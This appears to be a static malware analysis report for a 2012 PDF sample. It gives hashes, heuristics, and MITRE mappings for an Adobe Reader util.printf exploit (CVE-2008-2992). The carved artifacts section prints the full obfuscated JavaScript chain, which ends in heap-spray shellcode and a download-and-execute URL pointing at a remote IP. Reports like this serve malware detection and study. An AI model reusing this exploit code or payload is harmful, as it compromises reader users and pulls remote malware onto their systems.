Malicious PDF — malware analysis report

Static analysis result for SHA-256 7b08dde8d2e9e557…

MALICIOUS

PDF

4.0 KB First seen: 2012-07-12
MD5: 1f5656d5096e295c5561cbe2f32c6429 SHA-1: b93950847d6a74e558fca4025f4110673e147091 SHA-256: 7b08dde8d2e9e557735b1667833ccba4c1ea5b8cfac5fad0dc698407b50b8922
336 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits CVE-2008-2992 in Adobe Reader. The script decodes a Base64 encoded string and then evaluates it, which likely leads to the download and execution of a second-stage payload from the URL http://93.174.93.11/~delmonca/u/load.php. The ML classifier and ClamAV detection further support its malicious nature.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Dropper.Agent-7275511-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7275511-0
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                            eval(output);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://93.174.93.11/~delmonca/u/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x368 6369 bytes
SHA-256: 7bb86f5fa5077f18fac361a00834d02a8e6069702e9b4eff352eaf75c2b337b1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Base64 = {
                _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                decode : function (input) {
                        var output = "";
                        var chr1, chr2, chr3;
                        var enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        while (i < input.length) {
                                enc1 = this._keyStr.indexOf(input.charAt(i++));
                                enc2 = this._keyStr.indexOf(input.charAt(i++));
                                enc3 = this._keyStr.indexOf(input.charAt(i++));
                                enc4 = this._keyStr.indexOf(input.charAt(i++));
                                chr1 = (enc1 << 2) | (enc2 >> 4);
                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                                chr3 = ((enc3 & 3) << 6) | enc4;
                                output = output + String.fromCharCode(chr1);
                                if (enc3 != 64) {
                                        output = output + String.fromCharCode(chr2);
                                }
                                if (enc4 != 64) {
                                        output = output + String.fromCharCode(chr3);
                                }
                        }
                        eval(output);
                }
        }
        Base64.decode("ZnVuY3Rpb24gcnJsRk9ZS2VUclo4R3EocTBRZ2FOKXsgcmV0dXJuIFN0cmluZ1snZnJvbUNoYXJDb2RlJ10ocTBRZ2FOKTt9IGZ1bmN0aW9uIG1mNTBFMTFJMEooUUdTbGUpeyB2YXIgWllXYTZmd1FHQ1Uya0g9MCwgSDY3bXF3Z1RTQj1RR1NsZS5sZW5ndGgsIEhObFJwdEhLNXM9MTAyNCwgTG53TEZUd1dXZXc0UzgsIGZuTDRuNywgc3R5ZTNPeXRWZzhyPScnLCBBSUVhR0JhNUVHMnY9WllXYTZmd1FHQ1Uya0gsIFBWTkxmbUZLVz1aWVdhNmZ3UUdDVTJrSCwgY2szQzdZN3ZaPVpZV2E2ZndRR0NVMmtILCBSMW9SOVA9QXJyYXkoNjMsNjEsNDgsNTEsMzIsOCwzMSw5LDYyLDQwLDAsMCwwLDAsMCwwLDU2LDM2LDI3LDI4LDEsMTcsNSwzNCwzNSw1OSwyMCw1NSw0LDIsNDQsMTYsMzksMjMsMzcsNTcsMTAsMCw1OCwyNCw0MywzLDI1LDAsMCwwLDAsMTEsMCwyMSw3LDYsMTgsMTksNTQsNDksMjIsNTIsMzAsNTAsMTUsMTQsNDcsMzgsMTMsNDYsNTMsNjAsMzMsMjksNDUsMjYsMTIsNDIsNDEpOyBmb3IoZm5MNG43PU1hdGguY2VpbChINjdtcXdnVFNCL0hObFJwdEhLNXMpO2ZuTDRuNz5aWVdhNmZ3UUdDVTJrSDtmbkw0bjctLSl7IGZvcihMbndMRlR3V1dldzRTOD1NYXRoLm1pbihINjdtcXdnVFNCLEhObFJwdEhLNXMpO0xud0xGVHdXV2V3NFM4PlpZV2E2ZndRR0NVMmtIO0xud0xGVHdXV2V3NFM4LS0sSDY3bXF3Z1RTQi0tKXsgY2szQzdZN3ZafD0oUjFvUjlQW1FHU2xlLmNoYXJDb2RlQXQoQUlFYUdCYTVFRzJ2KyspLTQ4XSk8PFBWTkxmbUZLVzsgaWYoUFZOTGZtRktXKXsgc3R5ZTNPeXRWZzhyKz1ycmxGT1lLZVRyWjhHcSg2M15jazNDN1k3dlomMjU1KTsgY2szQzdZN3ZaPj49ODsgUFZOTGZtRktXLT0yOyB9IGVsc2UgeyBQVk5MZm1GS1c9NjsgfSB9IH0gZXZhbChzdHllM095dFZnOHIpOyB9IG1mNTBFMTFJMEooJ3h1UmhlcEZRT3ZSaE05Skp3Z0xRajFBaFFpdGNUdlVZXzI0Y1R2VVlfMjRjVHZVWV8yNGNUMU9qVnJQY1RnVVlUaVBjVFJPTXNaNGNUdTJZMVo0Y1R1MllsQDRjVHpRangyNGNUelFZXzI0Y1R6UTZTU1BjVHpLRGw5NGNUUlFqVmdQY1RSUWpTUlBjVHVPNjVBUGNUdlFqXzlQY1R6UWpWUlBjVFIyTVZSUGNUemJZOFJQY1RaT2o3TjRjVHZPWVNnNGNUWk9qN040Y1RSNGpWdDRjVHpRamwyNGNUelFqVnJQY1RSMk1WUlBjVHJQRGwyNGNUUjRZYjQ0Y1R6UFk4UzRjVDFVTWwyNGNUelFqbUA0Y1R6UWpWUlBjVFNQNjdBNGNUclBEVnJQY1R0VU1iNDRjVFI0TW1ANGNUMVVNVlM0Y1R6UWptQVBjVHpRalZSUGNUU1A2N0E0Y1RyUERWdDRjVGdQNmI0NGNUUzJZVEFQY1QxVU1wTlBjVHpRamxOUGNUelFqVlJQY1RTUDY3QTRjVHJQRFZnNGNUMTJZYjQ0Y1QxT2pwQDRjVDFVTWJBUGNUelFqeGlQY1R6UWpWUlBjVFNQNjdBNGNUclBEU1JQY1RyNGpiNDRjVDE0NmNBNGNUMVVNVDQ0Y1R6UWpwVzRjVHpRalZSUGNUU1A2N0E0Y1RTUWpTclBjVHZiTTdBUGNUWjQ2cDJQY1RST01tOTRjVFJiTThTUGNUektEbEE0Y1R6UWpWelBjVHJQWVZSUGNUWjQ2N0E0Y1RSMk1zclBjVHpRNjhTUGNUelBqYjk0Y1RSMk0xUjRjVFJiTTFTUGNUMVVNMVo0Y1R6UWo3TjRjVHpRalZSUGNUdVVNMVJQY1RSUE1JWjRjVFpPanMxNGNUdDJEbDQ0Y1R6UWpWUlBjVFJPTVZSUGNUUmJZOFNQY1RyNDY3TjRjVHJPajcyUGNUUk9NMVJQY1RnUWo4U1BjVFMyWWI0NGNUelFqVlJQY1RyUWpWUlBjVFNQNjdONGNUdTRNU3JQY1RyUU1WdlBjVHJQNjdONGNUMVVNU3Q0Y1R6UWpiOVBjVHpRalZSUGNUU1A2VmdQY1RyMkRzUlBjVHJiWVZSUGNUZ1BZY0A0Y1RyMkRiQFBjVHpRNjhSUGNUdTQ2YzQ0Y1R6UWpWUlBjVFo0Nm1zNGNUUjJNc1JQY1R6Ylk4U1BjVHpQamI5NGNUUjJNMVI0Y1RSYk0xU1BjVFNRamw0NGNUelFqVlJQY1R1NE1WUlBjVHJiTVZ1NGNUU1A2VmdQY1R2YjZzclBjVHJiNnhONGNUUzJZMWdQY1RnUWpjQFBjVHJiNjFSUGNUU1A2N040Y1R1NE1TZzRjVHJRTVZTUGNUclA2N040Y1QxVU1TdDRjVHpRanNnUGNUelFqVlJQY1R6UWpiOTRjVFo0Nm1zNGNUUjJNc1JQY1R6Yk04U1BjVHpLamI5NGNUUjJNMVI0Y1RSYk0xU1BjVFJRamw0NGNUelFqVlJQY1R1NE1WUlBjVFIyTW1zNGNUUlFqOFNQY1R6UGpiOTRjVFIyTTFSNGNUUmJNMVNQY1R6UWpsNDRjVHpRalZSUGNUU1BqVlJQY1RyS2oxdjRjVDE0alZnUGNUMTRqVmdQY1QxNGpWZ1BjVDE0alZnUGNUMVVZNzJQY1RyUE1WclBjVFIyTTFnUGNUMTJqeDk0Y1RyS2ptQzRjVDFPam1zNGNUUjJNMVNQY1RSMk1sMjRjVHpiTWNpNGNUclFZN040Y1RyUERWZzRjVFpVNjdONGNUUjJNSWc0Y1RSUFljaVBjVHpiNmM0NGNUclBEbTJQY1RaNEQ3TjRjVHpiNnNSUGNUdmI2bTJQY1RTUU1wQTRjVHZPWTh6UGNUclU2VmdQY1R2YjYxWjRjVHpLWW1XNGNUUlFqVEA0Y1RTMmpJejRjVHpiTWNpUGNUcjRZcDlQY1R6YjZWcjRjVFNRam1OUGNUUzRqbE40Y1RTNFlJdjRjVFo0NjFTNGNUclBNbEBQY1QxMk03TjRjVHJQTTdONGNUemI2c3JQY1R1NER4aTRjVHpiWTdONGNUUjJNOHY0Y1RSYlkxejRjVGdPWVZnUGNUelE2N040Y1R6YjY3TjRjVHJQWXBAUGNUcjJqMXI0Y1R6UWpWdDRjVFNPNmw0NGNUUzJZbUA0Y1RyUDZtczRjVFNiWTF2UGNUU0tZOHI0Y1R6UWo4UzRjVHQyTTdDNGNUdDJZNU40Y1RyT2p4QFBjVGc0RHBBUGNUcjRqeDI0Y1RnVU14QDRjVHI0anhONGNUZ1VZeFc0Y1RnNFlwOVBjVHJPanhANGNUUjJNNTlQY1RSVTY3OTRjVFJPajdOUGNUUlVZNzlQY1RyT2o3QDRjVHJPajU5NGNUUk9qNzJQY1RSMk03QDRjVHQyWXA5UGNUdDJZN0NPYmhPMmI3U2FlNjJpZXA3NGRFekZlQ1NyZXd1RWJ3OWlZODE0Nnc5aVk4MTQ2dVdERDdTYWU2TFJKTWkyWUxBQVFwMUVoVzdPSmRFRGVRenJKZWdGSkJ6YUxlemFKV3ZpYUw0aWFocFJoUTJpZXBGZ0p3RkZoX3VyVVp0UkZ4MUplSjVVZWxyTEQ3U2FlNkxSSnVyQVV4MUplRTJBZHVnaWRwWmFKV3VnWWVBRmhoT09kanJpYnh2QWFXN1VlbHJKTHh6SlF4dkplaEZGaFFzMkx4MUplRXhSaEV0cmRRN0VoV1pERDV1UmFlenJGeHZBYVdGZ0p3RkZoX3VGRlp0clVsQ0pNbHMyWWxXRGVfWkZoTTJpZGh0RkZ4dkFhV0VFSmRyYWVMQUFRcDF0UXByQUpNTFJoNTF0NnByQVFjdXRGTEFGSnB1dGFGNzJZTFdhRVlAT1lsc1VEaGFMRkpXREVqckplZEVvYUY3b1V4dkFhV0VEZVF6ckplZ0ZKQnpSTzdTYWU2TnJKRTdSVXVAT1ljVzREY1c0RGNXNER1T0ViY1c0RGNXT2JKaXREY1c0RGJDMkRiQzJEYmlERnVDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiaURGdUMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkR1T0ViYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYkMyRGJDMkRiQ09iSmlnRGJDMkRiQzJEYkMyRGJDMkR1T0ViYkMyRGJDMkRiQzJEYkMyRGJDMkRiQzJEYmlERnVDMkRiQzJEYkMyRGJDMkRiQzJEdU80ZF9ackpFc0plaEZyZFp1RWJ3TjRNbHMyWVpyZ0xCcGFKZFpERCcpOw==");
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (decompressed) at offset 0x99D 3622 bytes
SHA-256: 3d5150bc6edc4291597c27a7b30c9d3f48e06c50d56f8fa10da83884ee7daf58
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 25 of 38 identifiers look randomly generated (e.g. 'OYcW4DcW4DcW4DuOEbcW4DcWObJitDcW4DbC2DbC') — consistent with name-mangling obfuscation. Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function rrlFOYKeTrZ8Gq(q0QgaN){ return String['fromCharCode'](q0QgaN);} function mf50E11I0J(QGSle){ var ZYWa6fwQGCU2kH=0, H67mqwgTSB=QGSle.length, HNlRptHK5s=1024, LnwLFTwWWew4S8, fnL4n7, stye3OytVg8r='', AIEaGBa5EG2v=ZYWa6fwQGCU2kH, PVNLfmFKW=ZYWa6fwQGCU2kH, ck3C7Y7vZ=ZYWa6fwQGCU2kH, R1oR9P=Array(63,61,48,51,32,8,31,9,62,40,0,0,0,0,0,0,56,36,27,28,1,17,5,34,35,59,20,55,4,2,44,16,39,23,37,57,10,0,58,24,43,3,25,0,0,0,0,11,0,21,7,6,18,19,54,49,22,52,30,50,15,14,47,38,13,46,53,60,33,29,45,26,12,42,41); for(fnL4n7=Math.ceil(H67mqwgTSB/HNlRptHK5s);fnL4n7>ZYWa6fwQGCU2kH;fnL4n7--){ for(LnwLFTwWWew4S8=Math.min(H67mqwgTSB,HNlRptHK5s);LnwLFTwWWew4S8>ZYWa6fwQGCU2kH;LnwLFTwWWew4S8--,H67mqwgTSB--){ ck3C7Y7vZ|=(R1oR9P[QGSle.charCodeAt(AIEaGBa5EG2v++)-48])<<PVNLfmFKW; if(PVNLfmFKW){ stye3OytVg8r+=rrlFOYKeTrZ8Gq(63^ck3C7Y7vZ&255); ck3C7Y7vZ>>=8; PVNLfmFKW-=2; } else { PVNLfmFKW=6; } } } eval(stye3OytVg8r); } mf50E11I0J('xuRhepFQOvRhM9JJwgLQj1AhQitcTvUY_24cTvUY_24cTvUY_24cT1OjVrPcTgUYTiPcTROMsZ4cTu2Y1Z4cTu2Yl@4cTzQjx24cTzQY_24cTzQ6SSPcTzKDl94cTRQjVgPcTRQjSRPcTuO65APcTvQj_9PcTzQjVRPcTR2MVRPcTzbY8RPcTZOj7N4cTvOYSg4cTZOj7N4cTR4jVt4cTzQjl24cTzQjVrPcTR2MVRPcTrPDl24cTR4Yb44cTzPY8S4cT1UMl24cTzQjm@4cTzQjVRPcTSP67A4cTrPDVrPcTtUMb44cTR4Mm@4cT1UMVS4cTzQjmAPcTzQjVRPcTSP67A4cTrPDVt4cTgP6b44cTS2YTAPcT1UMpNPcTzQjlNPcTzQjVRPcTSP67A4cTrPDVg4cT12Yb44cT1Ojp@4cT1UMbAPcTzQjxiPcTzQjVRPcTSP67A4cTrPDSRPcTr4jb44cT146cA4cT1UMT44cTzQjpW4cTzQjVRPcTSP67A4cTSQjSrPcTvbM7APcTZ46p2PcTROMm94cTRbM8SPcTzKDlA4cTzQjVzPcTrPYVRPcTZ467A4cTR2MsrPcTzQ68SPcTzPjb94cTR2M1R4cTRbM1SPcT1UM1Z4cTzQj7N4cTzQjVRPcTuUM1RPcTRPMIZ4cTZOjs14cTt2Dl44cTzQjVRPcTROMVRPcTRbY8SPcTr467N4cTrOj72PcTROM1RPcTgQj8SPcTS2Yb44cTzQjVRPcTrQjVRPcTSP67N4cTu4MSrPcTrQMVvPcTrP67N4cT1UMSt4cTzQjb9PcTzQjVRPcTSP6VgPcTr2DsRPcTrbYVRPcTgPYc@4cTr2Db@PcTzQ68RPcTu46c44cTzQjVRPcTZ46ms4cTR2MsRPcTzbY8SPcTzPjb94cTR2M1R4cTRbM1SPcTSQjl44cTzQjVRPcTu4MVRPcTrbMVu4cTSP6VgPcTvb6srPcTrb6xN4cTS2Y1gPcTgQjc@PcTrb61RPcTSP67N4cTu4MSg4cTrQMVSPcTrP67N4cT1UMSt4cTzQjsgPcTzQjVRPcTzQjb94cTZ46ms4cTR2MsRPcTzbM8SPcTzKjb94cTR2M1R4cTRbM1SPcTRQjl44cTzQjVRPcTu4MVRPcTR2Mms4cTRQj8SPcTzPjb94cTR2M1R4cTRbM1SPcTzQjl44cTzQjVRPcTSPjVRPcTrKj1v4cT14jVgPcT14jVgPcT14jVgPcT14jVgPcT1UY72PcTrPMVrPcTR2M1gPcT12jx94cTrKjmC4cT1Ojms4cTR2M1SPcTR2Ml24cTzbMci4cTrQY7N4cTrPDVg4cTZU67N4cTR2MIg4cTRPYciPcTzb6c44cTrPDm2PcTZ4D7N4cTzb6sRPcTvb6m2PcTSQMpA4cTvOY8zPcTrU6VgPcTvb61Z4cTzKYmW4cTRQjT@4cTS2jIz4cTzbMciPcTr4Yp9PcTzb6Vr4cTSQjmNPcTS4jlN4cTS4YIv4cTZ461S4cTrPMl@PcT12M7N4cTrPM7N4cTzb6srPcTu4Dxi4cTzbY7N4cTR2M8v4cTRbY1z4cTgOYVgPcTzQ67N4cTzb67N4cTrPYp@PcTr2j1r4cTzQjVt4cTSO6l44cTS2Ym@4cTrP6ms4cTSbY1vPcTSKY8r4cTzQj8S4cTt2M7C4cTt2Y5N4cTrOjx@PcTg4DpAPcTr4jx24cTgUMx@4cTr4jxN4cTgUYxW4cTg4Yp9PcTrOjx@4cTR2M59PcTRU6794cTROj7NPcTRUY79PcTrOj7@4cTrOj594cTROj72PcTR2M7@4cTt2Yp9PcTt2Y7CObhO2b7Sae62iep74dEzFeCSrewuEbw9iY8146w9iY8146uWDD7Sae6LRJMi2YLAAQp1EhW7OJdEDeQzrJegFJBzaLezaJWviaL4iahpRhQ2iepFgJwFFh_urUZtRFx1JeJ5UelrLD7Sae6LRJurAUx1JeE2AdugidpZaJWugYeAFhhOOdjribxvAaW7UelrJLxzJQxvJehFFhQs2Lx1JeExRhEtrdQ7EhWZDD5uRaezrFxvAaWFgJwFFh_uFFZtrUlCJMls2YlWDe_ZFhM2idhtFFxvAaWEEJdraeLAAQp1tQprAJMLRh51t6prAQcutFLAFJputaF72YLWaEY@OYlsUDhaLFJWDEjrJedEoaF7oUxvAaWEDeQzrJegFJBzRO7Sae6NrJE7RUu@OYcW4DcW4DcW4DuOEbcW4DcWObJitDcW4DbC2DbC2DbiDFuC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbiDFuC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DuOEbbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbC2DbCObJigDbC2DbC2DbC2DbC2DuOEbbC2DbC2DbC2DbC2DbC2DbC2DbiDFuC2DbC2DbC2DbC2DbC2DuO4d_ZrJEsJehFrdZuEbwN4Mls2YZrgLBpaJdZDD');
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 2 (PDF /JS object 13) at offset 0x95E 2025 bytes
SHA-256: 85fe71200c33f398824631ccde606ec4fbbce8035fb8611c145accabab2137e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
shellcode=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u392F%u2E33%u3731%u2E34%u3339%u312E%u2F31%u647E%u6C65%u6F6D%u636E%u2F61%u2F75%u6F6C%u6461%u702E%u7068"); var spr=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+shellcode.length;while(spr.length<fg)spr+=spr;var nmbr=spr.substring(0,fg);var stig=spr.substring(0,spr.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+shellcode}var dlnm="12999999999"+"99999"+"99998888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",dlnm);

Open this report in the interactive analyzer, or submit your own file for analysis.